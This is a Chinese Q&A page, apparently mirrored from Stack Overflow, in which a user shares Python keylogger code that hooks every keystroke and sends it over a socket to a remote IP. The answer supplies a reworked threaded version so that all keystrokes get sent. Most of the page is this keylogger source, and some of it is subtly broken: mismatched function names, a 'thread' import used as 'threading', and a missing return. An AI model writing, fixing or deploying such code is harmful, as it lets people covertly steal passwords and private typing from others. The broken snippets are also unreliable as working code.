向keylogg添加套接字

2024-05-16 20:20:45 发布

您现在位置:Python中文网/ 问答频道 /正文

为了好玩,我在建一个键盘记录器。我想要的是键盘记录器将像一个聊天客户端一样,将把每一个按键都发送给对方。然而,当我试着这么做时,它只发送我按下的第一个键,而不是后面的其他键。在

import socket
import pythoncom
import pyHook




HOST = "192.168.2.103"
PORT = 5000

s = socket.socket()
s.connect((HOST, PORT ))


def OnkeyboardEvent(event):
  global s
  keylog = chr(event.Ascii)
  s.send(keylog.encode("utf-8"))
  return True



h_m = pyHook.HookManager()
h_m.KeyDown =OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()

Tags: importeventhost客户端portdefconnectsocket
1条回答
网友
1楼 · 发布于 2024-05-16 20:20:45

the tutorial中所述:

If a callback function does not return in a timely manner, the event is automatically forwarded along the hook callback chain, and, if no other callback blocks it, onto the destination window. Therefore, as little processing as possible should be done in a callback. Instead, the callback should add events to a queue for later processing by an application and quickly decide whether or not to block the message.

调用socket.send可能会阻塞。它可以很容易地阻塞足够长的时间,以便PyHook中止您的钩子,或者只是为了将来的调用而禁用它。要解决它,就照医生说的做。例如(未经测试,但至少应该是一个足以让您开始使用的示例):

import queue
import socket
import thread

import pythoncom
import pyHook

q = queue.Queue()

HOST = "192.168.2.103"
PORT = 5000

def background():
    s = socket.socket()
    s.connect((HOST, PORT))
    while True:
        msg = q.get()
        s.send(msg)
sockthread = threading.Thread(target=background)
sockthread.start()

def OnKeyboardEvent(event):
    keylog = chr(event.Ascii)
    q.put(keylog.encode("utf-8"))

h_m = pyHook.HookManager()
h_m.KeyDown = OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()

相关问题 更多 >